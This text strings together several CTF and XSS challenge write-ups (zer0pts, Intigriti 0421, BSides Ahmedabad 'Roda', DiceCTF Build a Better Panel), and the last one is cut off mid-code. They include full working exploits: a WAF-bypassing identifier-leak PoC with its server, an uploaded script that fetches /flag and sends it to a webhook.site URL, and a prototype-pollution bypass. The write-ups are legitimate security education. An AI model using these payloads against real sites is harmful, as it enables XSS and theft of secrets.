Right now we can exfiltrate the function body by characters, I wrote a simple script to help us see what is the full flag.

var axios = require('axios')

// flag start from index 23
var pat = `});(this.a=()=>(a+'')[23]+{/*`

var ans = ''
async function run() {
  var len = 23;
  // 100 is a random guess, I guess 70 at first and it's too short lol
  while(len < 100) {
    payload = pat.replace(23, len);
    var result = await axios('http://web.ctf.zer0pts.com:8002/?code=' + encodeURIComponent(payload))
    var f = result.data.split('<output>')[1]
    console.log(f)
    ans+=f[0]
    console.log(ans)
    len++
  }
  console.log(ans)
}

run()

Finally, awesome challenge!

Writeup: Intigriti's 0421 XSS challenge - by @terjanq

截圖 2021-04-26 上午9 36 01

challenge link: Intigriti's 0421 XSS challenge - by @terjanq

The full writeup is a little bit long because I want to write what I have tried and how I found the solution in details. If you are not interested in reading, you can just check the tl;dr section below and the source code at the end of the article.

TL;DR

  1. Open target in a new window
  2. Set current identifier we found to location.hash
  3. Compare location.hash with identifier to leak it one byte after another
  4. Leak via img.src and received result on the server
  5. Return to step 2 until we have full identifier
  6. postMessage to perform XSS

There is no working POC online because it requires a server to run and I have no plan to host it. Below is the video recording, you can check it first:

  1. Chrome: https://youtu.be/V_pM16PrBb8
  2. Firefox: https://youtu.be/v4OlsuqvdLY

If you really want to see and reproduce it, I provide the source code at the end, you can run a server and check it yourself. But the server is a little buggy, you may need to manually restart the server if it's broken.

Writeup in details

There are two pages for this XSS challenge, index and waf.html, below is the JS part of index page:

const wafIframe = document.getElementById('wafIframe').contentWindow;
const identifier = getIdentifier();

function getIdentifier() {
    const buf = new Uint32Array(2);
    crypto.getRandomValues(buf);
    return buf[0].toString(36) + buf[1].toString(36)
}

function htmlError(str, safe){
    const div = document.getElementById("error-content");
    const container = document.getElementById("error-container");
    container.style.display = "block";
    if(safe) div.innerHTML = str;
    else div.innerText = str;
    window.setTimeout(function(){
      div.innerHTML = "";
      container.style.display = "none";
    }, 10000);
}

function addError(str){
    wafIframe.postMessage({
        identifier,
        str
    }, '*');
}

window.addEventListener('message', e => {
    if(e.data.type === 'waf'){
        if(identifier !== e.data.identifier) throw /nice try/
        htmlError(e.data.str, e.data.safe)
    }
});

window.onload = () => {
    const error = (new URL(location)).searchParams.get('error');
    if(error !== null) addError(error);
}

This file is simple, it sends error query string to waf.html via window.postMessage, and append the returned value into DOM.

The key here is, we need to let e.data.safe be true, otherwise we can only insert pure string.

Let's take a look at waf.html:

onmessage = e => {
    const identifier = e.data.identifier;
    e.source.postMessage({
        type:'waf',
        identifier,
        str: e.data.str,
        safe: (new WAF()).isSafe(e.data.str)
    },'*');
}

function WAF() {
    const forbidden_words = ['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:'];
    const dangerous_operators = ['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']

    function decodeHTMLEntities(str) {
        var ta = document.createElement('textarea');
        ta.innerHTML = str;
        return ta.value;
    }

    function onlyASCII(str){
        return str.replace(/[^\x21-\x7e]/g,'');
    }

    function firstTag(str){
        return str.search(/<[a-z]+/i)
    }

    function firstOnHandler(str){
        return str.search(/on[a-z]{3,}/i)
    }

    function firstEqual(str){
        return str.search(/=/);
    }

    function hasDangerousOperators(str){
        return dangerous_operators.some(op=>str.includes(op));
    }

    function hasForbiddenWord(str){
        return forbidden_words.some(word=>str.search(new RegExp(word, 'gi'))!==-1);
    }

    this.isSafe = function(str) {
        let decoded = onlyASCII(decodeHTMLEntities(str));

        const first_tag = firstTag(decoded);
        if(first_tag === -1) return true;
        decoded = decoded.slice(first_tag);

        if(hasForbiddenWord(decoded)) return false;

        const first_on_handler = firstOnHandler(decoded);
        if(first_on_handler === -1) return true;
        decoded = decoded.slice(first_on_handler)

        const first_equal = firstEqual(decoded);
        if(first_equal === -1) return true;
        decoded = decoded.slice(first_equal+1);

        if(hasDangerousOperators(decoded)) return false;
        return true;
    }
}

When the page received the message, it checks if there are any forbidden or dangerous words. The rules are quite strict and just leave a tiny room for XSS.

I found that we can use <img src=x onerror=xxx> to bypass the tag check to run JavaScript.

But this is just the beginning, we can't use string in JS because ', ", and ` are all blocked.

Moreover, []{}() and = are also blocked, so we can't call any function and do the assignment.

The restriction here is crazy, I don't know how to do for a couple of hours. In the end I can only come up with: <img src=x onerror=throw/0/+identifier> to throw identifier as error message, but there is no way to read this message cross origin.

The hint

At first, I tried to perform XSS directly via error query string, but after a while I started to think if it's really possible.

I googled xss without parentheses and found this: XSS Without parentheses, but it's not so useful because of the WAF restriction.

One day, I saw the hint:

"Behind a Greater Oracle there stands one great Identity" (leak it)

Oh, maybe I was in the wrong way. I knew that there are actually two possible ways to perform XSS, the one is via error directly and another one is via postMessage.

We can't embed index page in iframe because of the x-frame-options header, but we can use window.open to open it and have the access on it.

Then, we can postMessage to the window and pass anything we want with safe: true:

xssWin.postMessage({
  type: 'waf',
  identifier: '????',
  str: '<img src=xxx onerror=alert("flag{THIS_IS_THE_FLAG}")>',
  safe: true
}, '*')

By doing so, we can also perform XSS. I thought this way is impossible because we don't know what is the identifier.

After I saw the hint, I knew it should be possible, and it's the right way to solve this challenge.

I think the attack flow will be something like this:

  1. open poc.html
  2. from poc.html, window.open target page with the payload which can leak identifier
  3. If step2 is success, now we know what is the identifier and we can postMessage to perform XSS
  4. win!

But there are two problems we need to solve

  1. How to leak a string
  2. How to send leaked info to parent window?

How to leak a string?

I came up with something like this: <img src=x onerror=identifier<'a'?leak_it:try_another_char>

We can't use if else but we can use ternary, we can't use === to check but we can use < instead.

But how about string? We can't use string, so '0' is illegal. It's easy, we can leverage DOM id access and innerText or other properties:

<div id=a>a</div>
<img src=x onerror=identifier<a.innerText?leak_it:try_another_char>

for try_another_char, we can use another ternary:

<div id=a>a</div>
<img src=x onerror=
identifier<a.innerText?leak_a:
identifier<b.innerText?leak_b:keep_trying>

It's like flatten the for loop and replace the for loop with ternary.

It looks nice and we know what is the first character of identifier. But what about the second character?identifier[1] is not allow. What can I do to get the second character of identifier?

I was stuck here for a very, very long time, and I came up with an idea: what if I can make it a number?

If identifier were a number, it's much easier to leak it byte by byte:

var identifier = 123

identifier&1?console.log(1):
console.log(0);
identifier&2?console.log(1):
console.log(0);
identifier&4?console.log(1):
console.log(0);
identifier&8?console.log(1):
console.log(0);
// ...

To transform a string to number, besides function call like Number() or parseInt(), we can use +str. There are alphabets in identifier, so we can make it a hex number by prepending '0x': '0x'+identifier

var identifier = 'a4' // 164
// 10100100

'0x'+identifier&1?console.log(1):
console.log(0);
'0x'+identifier&2?console.log(1):
console.log(0);
'0x'+identifier&4?console.log(1):
console.log(0);
'0x'+identifier&8?console.log(1):
console.log(0);

But the problem is, it's not guarantee that identifier can be cast to number.

var count = 0
for(let i=0; i<100000;i++) {
  var id = getIdentifier()
  if (!Number.isNaN(Number('0x' + id))) {
    count++
  }
}
// 7, 0.007
console.log(count, (count * 100) / 100000)

It's about 0.01% chance, which we can transform the identifier from string to number.

At least I have 0.01% chance, better than 0.

After keep fighting and thinking how to get substring without [] and (), I thought that's all I can do and it's too hard for me to solve it.

But, even I can't solve this harder version, I still want to have a solution on this simpler one. So let's assume identifier can be cast to number and keep moving forward.

How to send data out?

We can't use variable, we can't call any function, even we know what is the identifier, how to pass this information to my own website?

I tried to see if there is anything writable on window.opener properties, but unfortunately none.

I can't even do the assignment, how to send data at the correct moment?

Again, thanks for the hint, at first I don't know what is it, but now I know:

Here's an extra tip: ++ is also an assignment

I have an idea about how to leak the data by leveraging lazy loading feature. We can let image lazy loaded and make it invisible first:

<div style=height:9999px></div>
<img src=x00 loading=lazy id=x00>
<img src=x01 loading=lazy id=x01>
<img src=x10 loading=lazy id=x10>
<img src=x11 loading=lazy id=x11>

For example, x00 means the last bit of identifier is 0, x11 means the length-1 bit is 1. When certain condition matched, we do x00.loading++, so x00.loading become NaN. After the loading attribute became NaN, it's not lazy anymore and the browser will try to load the image.

<body>
  <div style=height:9999px id=a>0x</div>
  <img src=https://example.com/x00 id=x00 loading=lazy>
  <img src=https://example.com/x01 id=x01 loading=lazy>
  <img src=https://example.com/x10 id=x10 loading=lazy>
  <img src=https://example.com/x11 id=x11 loading=lazy>
  <img src=https://example.com/x20 id=x20 loading=lazy>
  <img src=https://example.com/x21 id=x21 loading=lazy>
  <img src=x onerror=a.innerText+identifier&1?x01.loading++:x00.loading++;a.innerText+identifier&2?x11.loading++:x10.loading++;a.innerText+identifier&4?x21.loading++:x20.loading++ >
</body>
<script>
  var identifier = 'a4' // 164
  // 10100100
  
</script>

By knowing which request has been sent to server, we know what is the identifier and we can send it via websocket or long polling from server to poc.html to perform XSS.

If identifier only contains 0-9a-f, I could solve it.

Think another way

I feel I was closer to the real answer after I solved the simpler one. Maybe just one step or two steps, but I can't find what is it even I spent hours on it.

There are one final question need to be resolved:

  1. How to access identifier[x]?

After a while, I gave up this way. I believe that It's impossible to access identifier[x].

But I haven't gave up on this challenge yet, can't access identifier[x] doesn't mean I can't conquer this challenge.

I want to access it because I want to know what is it. What if there is another way to know without accessing it?

If there is a place for us to store the identifier we found so far, we can do something like this:

<body>
  <script>
    var identifier = 'z123'
    var found = 'z'
  </script>
  <div id=a>a</div>
  <div id=b>b</div>
  <img src=x onerror=identifier<found+1?found+=1&&leak:identifier<found+a.innerText?found+=a.innerText&&leak:identifier<found+b.innerText?found+=b.innerText&&leak:keep_trying>
</body>

By comparing the concatenated string, we know what is the nth element in identifier. In order to know all the elements, we need to have something like for loop.

We can achieve this by setting img src again and gain:

<body>
  <script>
    var count = 1
  </script>
  <img src=x onerror=count<10?count++&&src++:console.log(count)>
</body>

count++&&src++ can be reaplced with count++ + src++.

So now we have two more problems:

  1. Lazy load trick above can only send data one time, it's okay for number but not okay for string
  2. Where to store the information we found?

For the first question, every request we want to send need to have one img element because once we do image.loading++, request will be sent and that's all, there are no second chance.

I checked the documentations about <img> to see if there is anything I can use. After trying for a while, to my surprise, src and srcset work!

When you have srcset and src both set, the browser ignore src and load srcset only. But when you do img.src++ to update the src attribute(not real "update" because change from NaN to NaN also works), the browser will load the image url in srcset again.

This will load x2 for 10 times.

<body>
  <script>
    var count = 1
  </script>
  <img src=x1 srcset=x2 onerror=count<10?count+++this.src++:123>
</body>

For the second question, I found that I can utilize location.hash! Because I can update the hash part without refreshing and it's allow to update location from opener. I can combine # and identifier then compare with location.hash + character.

<img id=n0 alt=# src=//server/0>
<img id=n1 alt=1 src=//server/1>
<img id=n2 alt=2 src=//server/2>
<img id=n10 alt=a src=//server/a>

<img id=lo srcset=//server/loop onerror=
n0.alt+identifier<location.hash+1?n1.src+++lo.src++:
n0.alt+identifier<location.hash+2?n2.src+++lo.src++:
n0.alt+identifier<location.hash+n10.alt?n10.src+++lo.src++:
...>

There is one important thing to note, location.hash can't be #. If url is url#, hash is an empty string instead of #. To solve this problem, I start with #1 and assume the first character of identifier is 1. If it's not, I will close the window and try again.

Final exploit

Piece all the things I mentioned above, the flow will be something like this:

  1. I have a server to decide when to response because I need to control the flow
  2. There is a poc.html file
  3. Open poc.html, it opens the target in a new window
  4. Leak identifier[n] via image, run "img-based for loop"
  5. Before another loop start, we need to update location.hash to make sure it reflects the info we just found. We can hold the response on server side until we updated location.hash.
  6. After location.hash gets updated, let loop continue by responding the request on server. img got response and trigger onerror event again with new location.hash, leak next character.
  7. Keep leaking until token.length > 10 (the length should be 10~14, we don't know what is the correct length so just try it)
  8. Try to postMessag and perform XSS

It's a little bit complicated because we need to run a server to control the image based loop by holding the response and release it at the right time.

Here is the poc.html, I updated the format for better readability:

var payload = `
<img srcset=//my_server/0 id=n0 alt=#>
<img srcset=//my_server/1 id=n1 alt=a>
<img srcset=//my_server/2 id=n2 alt=b>
<img srcset=//my_server/3 id=n3 alt=c>
<img srcset=//my_server/4 id=n4 alt=d>
<img srcset=//my_server/5 id=n5 alt=e>
<img srcset=//my_server/6 id=n6 alt=f>
<img srcset=//my_server/7 id=n7 alt=g>
<img srcset=//my_server/8 id=n8 alt=h>
<img srcset=//my_server/9 id=n9 alt=i>
<img srcset=//my_server/a id=n10 alt=j>
<img srcset=//my_server/b id=n11 alt=k>
<img srcset=//my_server/c id=n12 alt=l>
<img srcset=//my_server/d id=n13 alt=m>
<img srcset=//my_server/e id=n14 alt=n>
<img srcset=//my_server/f id=n15 alt=o>
<img srcset=//my_server/g id=n16 alt=p>
<img srcset=//my_server/h id=n17 alt=q>
<img srcset=//my_server/i id=n18 alt=r>
<img srcset=//my_server/j id=n19 alt=s>
<img srcset=//my_server/k id=n20 alt=t>
<img srcset=//my_server/l id=n21 alt=u>
<img srcset=//my_server/m id=n22 alt=v>
<img srcset=//my_server/n id=n23 alt=w>
<img srcset=//my_server/o id=n24 alt=x>
<img srcset=//my_server/p id=n25 alt=y>
<img srcset=//my_server/q id=n26 alt=z>
<img srcset=//my_server/r id=n27 alt=0>
<img srcset=//my_server/s id=n28>
<img srcset=//my_server/t id=n29>
<img srcset=//my_server/u id=n30>
<img srcset=//my_server/v id=n31>
<img srcset=//my_server/w id=n32>
<img srcset=//my_server/x id=n33>
<img srcset=//my_server/y id=n34>
<img srcset=//my_server/z id=n35>

<img id=lo srcset=//my_server/loop onerror=
n0.alt+identifier<location.hash+1?n0.src+++lo.src++:
n0.alt+identifier<location.hash+2?n1.src+++lo.src++:
n0.alt+identifier<location.hash+3?n2.src+++lo.src++:
n0.alt+identifier<location.hash+4?n3.src+++lo.src++:
n0.alt+identifier<location.hash+5?n4.src+++lo.src++:
n0.alt+identifier<location.hash+6?n5.src+++lo.src++:
n0.alt+identifier<location.hash+7?n6.src+++lo.src++:
n0.alt+identifier<location.hash+8?n7.src+++lo.src++:
n0.alt+identifier<location.hash+9?n8.src+++lo.src++:
n0.alt+identifier<location.hash+n1.alt?n9.src+++lo.src++:
n0.alt+identifier<location.hash+n2.alt?n10.src+++lo.src++:
n0.alt+identifier<location.hash+n3.alt?n11.src+++lo.src++:
n0.alt+identifier<location.hash+n4.alt?n12.src+++lo.src++:
n0.alt+identifier<location.hash+n5.alt?n13.src+++lo.src++:
n0.alt+identifier<location.hash+n6.alt?n14.src+++lo.src++:
n0.alt+identifier<location.hash+n7.alt?n15.src+++lo.src++:
n0.alt+identifier<location.hash+n8.alt?n16.src+++lo.src++:
n0.alt+identifier<location.hash+n9.alt?n17.src+++lo.src++:
n0.alt+identifier<location.hash+n10.alt?n18.src+++lo.src++:
n0.alt+identifier<location.hash+n11.alt?n19.src+++lo.src++:
n0.alt+identifier<location.hash+n12.alt?n20.src+++lo.src++:
n0.alt+identifier<location.hash+n13.alt?n21.src+++lo.src++:
n0.alt+identifier<location.hash+n14.alt?n22.src+++lo.src++:
n0.alt+identifier<location.hash+n15.alt?n23.src+++lo.src++:
n0.alt+identifier<location.hash+n16.alt?n24.src+++lo.src++:
n0.alt+identifier<location.hash+n17.alt?n25.src+++lo.src++:
n0.alt+identifier<location.hash+n18.alt?n26.src+++lo.src++:
n0.alt+identifier<location.hash+n19.alt?n27.src+++lo.src++:
n0.alt+identifier<location.hash+n20.alt?n28.src+++lo.src++:
n0.alt+identifier<location.hash+n21.alt?n29.src+++lo.src++:
n0.alt+identifier<location.hash+n22.alt?n30.src+++lo.src++:
n0.alt+identifier<location.hash+n23.alt?n31.src+++lo.src++:
n0.alt+identifier<location.hash+n24.alt?n32.src+++lo.src++:
n0.alt+identifier<location.hash+n25.alt?n33.src+++lo.src++:
n0.alt+identifier<location.hash+n26.alt?n34.src+++lo.src++:
n35.src+++lo.src++>`
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
  </head>
  <body>  
  </body>
  <script>
    var payload = // see above
    payload = encodeURIComponent(payload)

    var baseUrl = 'https://my_server'

    // reset first
    fetch(baseUrl + '/reset').then(() => {
      start()
    })

    async function start() {
      // assume identifier start with 1
      console.log('POC started')
      if (window.xssWindow) {
        window.xssWindow.close()
      }

      window.xssWindow = window.open(`https://challenge-0421.intigriti.io/?error=${payload}#1`, '_blank')

      polling()
    }

    function polling() {
      fetch(baseUrl + '/polling').then(res => res.text()).then((token) => {

        // guess fail, restart
        if (token === '1zz') {
          fetch(baseUrl + '/reset').then(() => {
            console.log('guess fail, restart')
            start()
          })
          return
        }

        if (token.length >= 10) {
          window.xssWindow.postMessage({
            type: 'waf',
            identifier: token,
            str: '<img src=xxx onerror=alert("flag{THIS_IS_THE_FLAG}")>',
            safe: true
          }, '*')
        }

        window.xssWindow.location = `https://challenge-0421.intigriti.io/?error=${payload}#${token}`

        // After POC finsihed, polling will timeout and got error message, I don't want to print the message
        if (token.length > 20) {
          return
        }

        console.log('token:', token)
        polling()
      })
    }
  </script>
</html>

And it's the code for server:

var express = require('express')

const app = express()

app.use(express.static('public'));
app.use((req, res, next) => {
  res.set('Access-Control-Allow-Origin', '*');
  next()
})

const handlerDelay = 100
const loopDelay = 550

var initialData = {
  count: 0,
  token: '1',
  canStartLoop: false,
  loopStarted: false,
  canSendBack: false
}
var data = {...initialData}

app.get('/reset', (req, res) => {
  data = {...initialData}
  console.log('======reset=====')
  res.end('reset ok')
})

app.get('/polling', (req, res) => {
  function handle(req, res) {
    if (data.canSendBack) {
      data.canSendBack = false
      res.status(200)
      res.end(data.token)
      console.log('send back token:', data.token)

      if (data.token.length < 14) {
        setTimeout(() => {
          data.canStartLoop = true
        }, loopDelay)
      }
    } else {
      setTimeout(() => {
        handle(req, res)
      }, handlerDelay)
    }
  }

  handle(req, res)
})

app.get('/loop', (req, res) => {
  function handle(req, res) {
    if (data.canStartLoop) {
      data.canStartLoop = false
      res.status(500)
      res.end()
    } else {
      setTimeout(() => {
        handle(req, res)
      }, handlerDelay)
    }
  }

  handle(req, res)
})

app.get('/:char', (req, res) => {
  // already start stealing identifier
  if (req.params.char.length > 1) {
    res.end()
    return
  }
  console.log('char received', req.params.char)
  if (data.loopStarted) {
    data.token += req.params.char
    console.log('token:', data.token)
    data.canSendBack = true

    res.status(500)
    res.end()
    return 
  }

  // first round
  data.count++
  if (data.count === 36) {
    console.log('initial image loaded, start loop')
    data.count = 0
    data.loopStarted = true
    data.canStartLoop = true
  }
  res.status(500)
  res.end()
})

app.listen(5555, () => {
  console.log('5555')
})

Flow in details:

  1. Open POC.html, reset the server and open a new window (name it as xssWindow)
  2. Load initial images and /loop
  3. Hold the response for /loop until we received all initial images request
  4. Release the response for /loop on server side to trigger onerror event on client side, leak one character by loading corresponding image. Start another loop.
  5. Server side received leaked character, send it back to POC.html via /polling. Hold the loop again and release it after 500ms
  6. POC.html received new identifier we found, update xssWindow.location.hash
  7. if identifer.length > 10, try to post message to xssWindow
  8. back to step 4 until XSS success

When poc.html loaded, it loads images immediately so we need to ignore the first request and start img loop after images loaded. I can't use lazy loading here because payload will become too big and cause server side error.

The /polling part can be replaced with websocket, we I am lazy to do it so I use long polling to send data back from server to poc.html.

Both poc.html and server side code can be improved for sure, but I didn't because I am lazy and I don't have time to do it so I use workaround instead, like assuming identifier start with 1 and trying to post message after we have part of identifier when length > 10.

Footnote

This XSS challenge is quite hard but also extremely interesting! I spent almost a week to try to solve it, every day I think I am closer, and finally I made it.

Thanks @terjanq for this fun XSS challenge. I learned a lot from it.

BSides Ahmedabad CTF 2021 - Roda

Source code

const fs = require('fs');
const axios = require('axios');
const express = require('express');
const multer = require('multer');
const mustacheExpress = require('mustache-express');
const Redis = require('ioredis');
const { v4: uuidv4 } = require('uuid');

const RECAPTCHA_SITE_KEY = process.env.RECAPTCHA_SITE_KEY || '[site key is empty]';
const RECAPTCHA_SECRET_KEY = process.env.RECAPTCHA_SECRET_KEY || '[secret key is empty]';
const SECRET = process.env.SECRET || 's3cr3t';
const FLAG = process.env.FLAG || 'Neko{dummy}';
const REDIS_URL = process.env.REDIS_URL || 'redis://127.0.0.1:6379';

const app = express();
app.use(require('cookie-parser')());
app.use('/static', express.static('static'));
app.engine('mustache', mustacheExpress());
app.set('view engine', 'mustache');
app.set('views', __dirname + '/views');

const port = 5000;
const storage = multer.diskStorage({
  destination: './tmp/'
});

const redis = new Redis(REDIS_URL);

let uploadedFiles = {};
let checkedFiles = {};

const ID_TABLE = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
function generateId(n=8) {
  let res = '';
  for (let i = 0; i < n; i++) {
    res += ID_TABLE[Math.random() * ID_TABLE.length | 0];
  }
  return res;
}

// admin only!
function adminRequired(req, res, next) {
  if (!('secret' in req.cookies)) {
    res.status(401).render('error', {
      message: 'Unauthorized'
    });
    return;
  }

  if (req.cookies.secret !== SECRET) {
    res.status(401).render('error', {
      message: 'Unauthorized'
    });
    return;
  }

  next();
}

app.get('/', (req, res) => {
  res.render('index');
});

app.get('/flag', adminRequired, (req, res) => {
  res.send(FLAG);
});

const SIGNATURES = {
  'png': new Uint8Array([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]),
  'jpg': new Uint8Array([0xff, 0xd8])
};

function compareUint8Arrays(known, input) {
  if (known.length !== input.length) {
  	return false;
  }

  for (let i = 0; i < known.length; i++) {
    if (known[i] !== input[i]) {
      return false;
    }
  }

  return true;
}

function isValidFile(ext, data) {
  // extension should not have special chars
  if (/[^0-9A-Za-z]/.test(ext)) {
    return false;
  }

  // prevent uploading files other than images
  if (!(ext in SIGNATURES)) {
  	return false;
  }

  const signature = SIGNATURES[ext];
  return compareUint8Arrays(signature, data.slice(0, signature.length));
}

const upload = multer({
  storage,
  limits: {
    files: 1,
    fileSize: 100 * 1024
  }
});
app.post('/upload', upload.single('file'), (req, res) => {
  const { file } = req;
  fs.readFile(file.path, (err, data) => {
    const buf = new Uint8Array(data);

    const fileName = file.originalname;
    const ext = fileName.split('.').slice(-1)[0];
  
    // check if the file is safe
    if (isValidFile(ext, buf)) {
      const newFileName = uuidv4() + '.' + ext;
      fs.writeFile('uploads/' + newFileName, buf, (err, data) => {
        let id;
        do {
          id = generateId();
        } while (id in uploadedFiles);

        uploadedFiles[id] = newFileName;
        res.json({
          status: 'success',
          id
        });
      });
    } else {
      res.json({
        status: 'error',
        message: 'Invalid file'
      });
    }
  });
});

// show uploaded contents
const MIME_TYPES = {
  'png': 'image/png',
  'jpg': 'image/jpeg'
};

app.get('/uploads/:fileName', (req, res) => {
  const { fileName } = req.params;
  const path = 'uploads/' + fileName;

  // no path traversal
  res.type('text/html'); // prepare for error messages
  if (/[/\\]|\.\./.test(fileName)) {
    res.status(403).render('error', {
      message: 'No hack'
    });
    return;
  }

  // check if the file exists
  try {
    fs.accessSync(path);
  } catch (e) {
    res.status(404).render('error', {
      message: 'Not found'
    });
    return;
  }

  // send proper Content-Type header
  try {
    const ext = fileName.split('.').slice(-1)[0];
    res.type(MIME_TYPES[ext]);
  } catch {}

  fs.readFile(path, (err, data) => {
    res.send(data);
  });
});

app.get('/:id', (req, res) => {
  const { id } = req.params;

  if (!(id in uploadedFiles)) {
    res.status(404).render('error', {
      message: 'Not found'
    });
    return;
  }

  res.render('file', {
    path: uploadedFiles[id],
    checked: id in checkedFiles,
    siteKey: RECAPTCHA_SITE_KEY,
    id
  });
});

// report image to admin
app.post('/:id/report', async (req, res) => {
  const { id } = req.params;
  const { token } = req.query;
/*
  const params = `?secret=${RECAPTCHA_SECRET_KEY}&response=${encodeURIComponent(token)}`;
  const url = 'https://www.google.com/recaptcha/api/siteverify' + params;
  const result = await axios.get(url);

  if (!result.data.success) {
    res.json({
      status: 'error',
      message: 'reCAPTCHA failed'
    });
    return;
  }
*/
  redis.rpush('query', id);
  redis.llen('query', (err, result) => {
    console.log('[+] reported:', id);
    console.log('[+] length:', result);
    res.json({
      status: 'success',
      length: result
    });
  })
})

// admin only
app.get('/:id/confirm', adminRequired, (req, res) => {
  const { id } = req.params;

  if (id in uploadedFiles) {
    checkedFiles[id] = true;
  }

  res.send('done');
});

app.listen(port, '0.0.0.0', () => {
  console.log(`Example app listening at http://localhost:${port}`);
});

Writeup

We can upload a file but the file extension is restricted. For /uploads/:fileName, the default content type is text/html, so our goal is to bypass the extension check below:

const SIGNATURES = {
  'png': new Uint8Array([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]),
  'jpg': new Uint8Array([0xff, 0xd8])
};

function compareUint8Arrays(known, input) {
  if (known.length !== input.length) {
  	return false;
  }

  for (let i = 0; i < known.length; i++) {
    if (known[i] !== input[i]) {
      return false;
    }
  }

  return true;
}

function isValidFile(ext, data) {
  // extension should not have special chars
  if (/[^0-9A-Za-z]/.test(ext)) {
    return false;
  }

  // prevent uploading files other than images
  if (!(ext in SIGNATURES)) {
  	return false;
  }

  const signature = SIGNATURES[ext];
  return compareUint8Arrays(signature, data.slice(0, signature.length));
}

If you are familiar with JavaScript, it's easy to find a valid ext which is toString, a default function in Object.prototype, so 'toString' in SIGNATURES is always true.

How about SIGNATURES[ext].length? In JavaScript, function also has length attribute, represent the length of parameters:

function test(a,b,c){}
console.log(test.length) // 3
console.log(Object.prototype.toString.length) // 0

So, we can use .toString as file extension and bypass the check. Here is the content:

<script>
  fetch("https://webhook.site/36381da2-ccfc-44c6-b4bf-3cbaace01347?start=1")

  fetch("/flag").then(res => res.text()).then(res => {
    return fetch("https://webhook.site/36381da2-ccfc-44c6-b4bf-3cbaace01347?flag="+res)
  })

</script>

Next, we need to report this file to admin. The route for reporting is app.post('/:id/report') but our image url is /uploads/{uuid}.toString, so we need to encoded / to %2f: /uploads%2fuuid.toString/report

螢幕快照 2021-11-07 上午9 24 19

DiceCTF 2021 - Build a Better Panel

It's harder version of Build a Panel, much harder.

It's similar to easier version but with a huge difference:

the admin will only visit sites that match the following regex ^https:\/\/build-a-better-panel\.dicec\.tf\/create\?[0-9a-z\-\=]+$

So we can't use the trick last time because it's not valid url. Our goal changed, we need to perform XSS.

I check every html and js file but it seems quite normal except one file, custom.js:

const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];

const safeDeepMerge = (target, source) => {
    for (const key in source) {
        if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
            if(key !== '__proto__'){
                safeDeepMerge(target[key], source[key]);
            }
        }else{
            target[key] = source[key];
        }
    }
}


const displayWidgets = async () => {
    const userWidgets = await (await fetch('/panel/widgets', {method: 'post', credentials: 'same-origin'})).json();
    let toDisplayWidgets = {'welcome back to build a panel!': {'type': 'welcome'}};

    safeDeepMerge(toDisplayWidgets, userWidgets);

    const timeData = await (await fetch('/status/time')).json();
    const weatherData = await (await fetch('/status/weather')).json();
    const welcomeData = await (await fetch('/status/welcome')).json();

    const widgetData = {'time': timeData['data'], 'weather': weatherData['data'], 'welcome': welcomeData['data']};

    const widgetPanel = document.getElementById('widget-panel');
    for(let name of Object.keys(toDisplayWidgets)){
        const widgetType = toDisplayWidgets[name]['type'];

        const panel = document.createElement('div');
        panel.className = 'panel panel-default';

        const panelTitle = document.createElement('h5');
        panelTitle.className = 'panel-heading';
        panelTitle.textContent = name;

        const panelData = document.createElement('p');
        panelData.className = 'panel-body';
        if(widgetData[widgetType]){
            panelData.textContent = widgetData[widgetType];
        }else{
            panelData.textContent = 'The widget type does not exist, make sure you spelled it right.';
        }

        panel.appendChild(panelTitle);
        panel.appendChild(panelData);

        widgetPanel.appendChild(panel);
    }
};

window.onload = (_event) => {
    displayWidgets();
};

It's the core of the panel page. It gets widgets from api and put it to the page via textContent, so sad, seems no room for XSS.

But this part gets my attention:

const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];

const safeDeepMerge = (target, source) => {
    for (const key in source) {
        if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
            if(key !== '__proto__'){
                safeDeepMerge(target[key], source[key]);
            }
        }else{
            target[key] = source[key];
        }
    }
}

It's like a hint for me,

Is it something to do with prototype pollution?

So I googled: prototype pollution xss and find this as my first search result: Client-Side Prototype Pollution

I quickly checked the list and I saw something interesting: Embedly Cards

<script>
  Object.prototype.onload = 'alert(1)'
</script>

<blockquote class="reddit-card" data-card-created="1603396221">
  <a href="https://www.reddit.com/r/Slackers/comments/c5bfmb/xss_challenge/">XSS Challenge</a>
</blockquote>

<script async src="https://embed.redditmedia.com/widgets/platform.js" charset="UTF-8"></script>

No wonder they put a embedded reddit on the page! Everything has their meaning, even the smallest thing is a clue.

So if we can bypass prototype pollution check, we can perform XSS.

Bypass prototype pollution check

How to bypass this?

const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];

const safeDeepMerge = (target, source) => {
    for (const key in source) {
        if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
            if(key !== '__proto__'){
                safeDeepMerge(target[key], source[key]);
            }
        }else{
            target[key] = source[key];
        }
    }
}

I played around with this function for an hour but find nothing.

When I was googling about prototype pollution articles, suddenly I recall that {}.__proto__ = Object.prototype

So we can pollute the prototype without __proto__!

({}).constructor equals to Object, so ({}).constructor.prototype is Object.prototype

POC:

const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const safeDeepMerge = (target, source) => {
  for (const key in source) {
    if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
      if(key !== '__proto__'){
        safeDeepMerge(target[key], source[key]);
      }
    } else {
      target[key] = source[key];
    }
  }
}

const userWidgets = JSON.parse(`{
  "constructor": {
    "prototype": {
      "onload": "console.log(1)"
    }
  }
}`)

let toDisplayWidgets = {'welcome back to build a panel!': {'type': 'welcome'}};
safeDeepMerge(toDisplayWidgets, userWidgets);
console.log(Object.prototype.onload) // console.log(1)

Now we can perform XSS via embedly prototype pollution. In order to get correct data structure, we need to check how to create and get a widget:

// create widget
app.post('/panel/add', (req, res) => {
    const cookies = req.cookies;
    const body = req.body;

